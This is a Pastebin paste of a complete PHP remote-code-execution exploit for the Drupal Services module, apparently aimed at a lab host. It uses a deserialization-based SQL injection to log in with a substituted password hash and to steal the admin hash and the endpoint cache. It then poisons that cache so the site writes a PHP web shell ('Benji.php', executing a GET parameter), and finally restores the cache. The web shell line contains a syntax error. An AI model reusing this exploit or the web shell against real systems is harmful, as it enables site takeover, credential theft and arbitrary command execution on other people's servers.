Advertisement
Guest User

Untitled

a guest
Jun 21st, 2017
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.16 KB | None | 0 0
  1. #!/usr/bin/php
  2. <?php
  3. # Drupal Services Module Remote Code Execution Exploit
  4. # https://www.ambionics.io/blog/drupal-services-module-rce
  5. # cf
  6. #
  7. # Three stages:
  8. # 1. Use the SQL Injection to get the contents of the cache for current endpoint
  9. # along with admin credentials and hash
  10. # 2. Alter the cache to allow us to write a file and do so
  11. # 3. Restore the cache
  12. #
  13.  
  14. # Initialization
  15.  
  16. error_reporting(E_ALL);
  17.  
  18. define('QID', 'anything');
  19. define('TYPE_PHP', 'application/vnd.php.serialized');
  20. define('TYPE_JSON', 'application/json');
  21. define('CONTROLLER', 'user');
  22. define('ACTION', 'login');
  23.  
  24. $url = '10.10.10.9';
  25. $endpoint_path = '/rest';
  26. $endpoint = 'rest_endpoint';
  27. $file = [
  28. 'filename' => 'Benji.php',
  29. 'data' => '<?php exec($_GET["name"];) ?>'
  30. ];
  31.  
  32. $browser = new Browser($url . $endpoint_path);
  33.  
  34.  
  35. # Stage 1: SQL Injection
  36.  
  37. class DatabaseCondition
  38. {
  39. protected $conditions = [
  40. "#conjunction" => "AND"
  41. ];
  42. protected $arguments = [];
  43. protected $changed = false;
  44. protected $queryPlaceholderIdentifier = null;
  45. public $stringVersion = null;
  46.  
  47. public function __construct($stringVersion=null)
  48. {
  49. $this->stringVersion = $stringVersion;
  50.  
  51. if(!isset($stringVersion))
  52. {
  53. $this->changed = true;
  54. $this->stringVersion = null;
  55. }
  56. }
  57. }
  58.  
  59. class SelectQueryExtender {
  60. # Contains a DatabaseCondition object instead of a SelectQueryInterface
  61. # so that $query->compile() exists and (string) $query is controlled by us.
  62. protected $query = null;
  63.  
  64. protected $uniqueIdentifier = QID;
  65. protected $connection;
  66. protected $placeholder = 0;
  67.  
  68. public function __construct($sql)
  69. {
  70. $this->query = new DatabaseCondition($sql);
  71. }
  72. }
  73.  
  74. $cache_id = "services:$endpoint:resources";
  75. $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
  76. $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
  77.  
  78. # Take first user but with a custom password
  79. # Store the original password hash in signature_format, and endpoint cache
  80. # in signature
  81. $query =
  82. "0x3a) UNION SELECT ux.uid AS uid, " .
  83. "ux.name AS name, '$password_hash' AS pass, " .
  84. "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
  85. "ux.pass AS signature_format, ux.created AS created, " .
  86. "ux.access AS access, ux.login AS login, ux.status AS status, " .
  87. "ux.timezone AS timezone, ux.language AS language, ux.picture " .
  88. "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
  89. "WHERE ux.uid<>(0"
  90. ;
  91.  
  92. $query = new SelectQueryExtender($query);
  93. $data = ['username' => $query, 'password' => 'ouvreboite'];
  94. $data = serialize($data);
  95.  
  96. $json = $browser->post(TYPE_PHP, $data);
  97.  
  98. # If this worked, the rest will as well
  99. if(!isset($json->user))
  100. {
  101. print_r($json);
  102. e("Failed to login with fake password");
  103. }
  104.  
  105. # Store session and user data
  106.  
  107. $session = [
  108. 'session_name' => $json->session_name,
  109. 'session_id' => $json->sessid,
  110. 'token' => $json->token
  111. ];
  112. store('session', $session);
  113.  
  114. $user = $json->user;
  115.  
  116. # Unserialize the cached value
  117. # Note: Drupal websites admins, this is your opportunity to fight back :)
  118. $cache = unserialize($user->signature);
  119.  
  120. # Reassign fields
  121. $user->pass = $user->signature_format;
  122. unset($user->signature);
  123. unset($user->signature_format);
  124.  
  125. store('user', $user);
  126.  
  127. if($cache === false)
  128. {
  129. e("Unable to obtains endpoint's cache value");
  130. }
  131.  
  132. x("Cache contains " . sizeof($cache) . " entries");
  133.  
  134. # Stage 2: Change endpoint's behaviour to write a shell
  135.  
  136. class DrupalCacheArray
  137. {
  138. # Cache ID
  139. protected $cid = "services:endpoint_name:resources";
  140. # Name of the table to fetch data from.
  141. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
  142. protected $bin = 'cache';
  143. protected $keysToPersist = [];
  144. protected $storage = [];
  145.  
  146. function __construct($storage, $endpoint, $controller, $action) {
  147. $settings = [
  148. 'services' => ['resource_api_version' => '1.0']
  149. ];
  150. $this->cid = "services:$endpoint:resources";
  151.  
  152. # If no endpoint is given, just reset the original values
  153. if(isset($controller))
  154. {
  155. $storage[$controller]['actions'][$action] = [
  156. 'help' => 'Writes data to a file',
  157. # Callback function
  158. 'callback' => 'file_put_contents',
  159. # This one does not accept "true" as Drupal does,
  160. # so we just go for a tautology
  161. 'access callback' => 'is_string',
  162. 'access arguments' => ['a string'],
  163. # Arguments given through POST
  164. 'args' => [
  165. 0 => [
  166. 'name' => 'filename',
  167. 'type' => 'string',
  168. 'description' => 'Path to the file',
  169. 'source' => ['data' => 'filename'],
  170. 'optional' => false,
  171. ],
  172. 1 => [
  173. 'name' => 'data',
  174. 'type' => 'string',
  175. 'description' => 'The data to write',
  176. 'source' => ['data' => 'data'],
  177. 'optional' => false,
  178. ],
  179. ],
  180. 'file' => [
  181. 'type' => 'inc',
  182. 'module' => 'services',
  183. 'name' => 'resources/user_resource',
  184. ],
  185. 'endpoint' => $settings
  186. ];
  187. $storage[$controller]['endpoint']['actions'] += [
  188. $action => [
  189. 'enabled' => 1,
  190. 'settings' => $settings
  191. ]
  192. ];
  193. }
  194.  
  195. $this->storage = $storage;
  196. $this->keysToPersist = array_fill_keys(array_keys($storage), true);
  197. }
  198. }
  199.  
  200. class ThemeRegistry Extends DrupalCacheArray {
  201. protected $persistable;
  202. protected $completeRegistry;
  203. }
  204.  
  205. cache_poison($endpoint, $cache);
  206.  
  207. # Write the file
  208. $json = (array) $browser->post(TYPE_JSON, json_encode($file));
  209.  
  210.  
  211. # Stage 3: Restore endpoint's behaviour
  212.  
  213. cache_reset($endpoint, $cache);
  214.  
  215. if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
  216. {
  217. e("Failed to write file.");
  218. }
  219.  
  220. $file_url = $url . '/' . $file['filename'];
  221. x("File written: $file_url");
  222.  
  223.  
  224. # HTTP Browser
  225.  
  226. class Browser
  227. {
  228. private $url;
  229. private $controller = CONTROLLER;
  230. private $action = ACTION;
  231.  
  232. function __construct($url)
  233. {
  234. $this->url = $url;
  235. }
  236.  
  237. function post($type, $data)
  238. {
  239. $headers = [
  240. "Accept: " . TYPE_JSON,
  241. "Content-Type: $type",
  242. "Content-Length: " . strlen($data)
  243. ];
  244. $url = $this->url . '/' . $this->controller . '/' . $this->action;
  245.  
  246. $s = curl_init();
  247. curl_setopt($s, CURLOPT_URL, $url);
  248. curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
  249. curl_setopt($s, CURLOPT_POST, 1);
  250. curl_setopt($s, CURLOPT_POSTFIELDS, $data);
  251. curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
  252. curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
  253. curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
  254. $output = curl_exec($s);
  255. $error = curl_error($s);
  256. curl_close($s);
  257.  
  258. if($error)
  259. {
  260. e("cURL: $error");
  261. }
  262.  
  263. return json_decode($output);
  264. }
  265. }
  266.  
  267. # Cache
  268.  
  269. function cache_poison($endpoint, $cache)
  270. {
  271. $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
  272. cache_edit($tr);
  273. }
  274.  
  275. function cache_reset($endpoint, $cache)
  276. {
  277. $tr = new ThemeRegistry($cache, $endpoint, null, null);
  278. cache_edit($tr);
  279. }
  280.  
  281. function cache_edit($tr)
  282. {
  283. global $browser;
  284. $data = serialize([$tr]);
  285. $json = $browser->post(TYPE_PHP, $data);
  286. }
  287.  
  288. # Utils
  289.  
  290. function x($message)
  291. {
  292. print("$message\n");
  293. }
  294.  
  295. function e($message)
  296. {
  297. x($message);
  298. exit(1);
  299. }
  300.  
  301. function store($name, $data)
  302. {
  303. $filename = "$name.json";
  304. file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
  305. x("Stored $name information in $filename");
  306. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement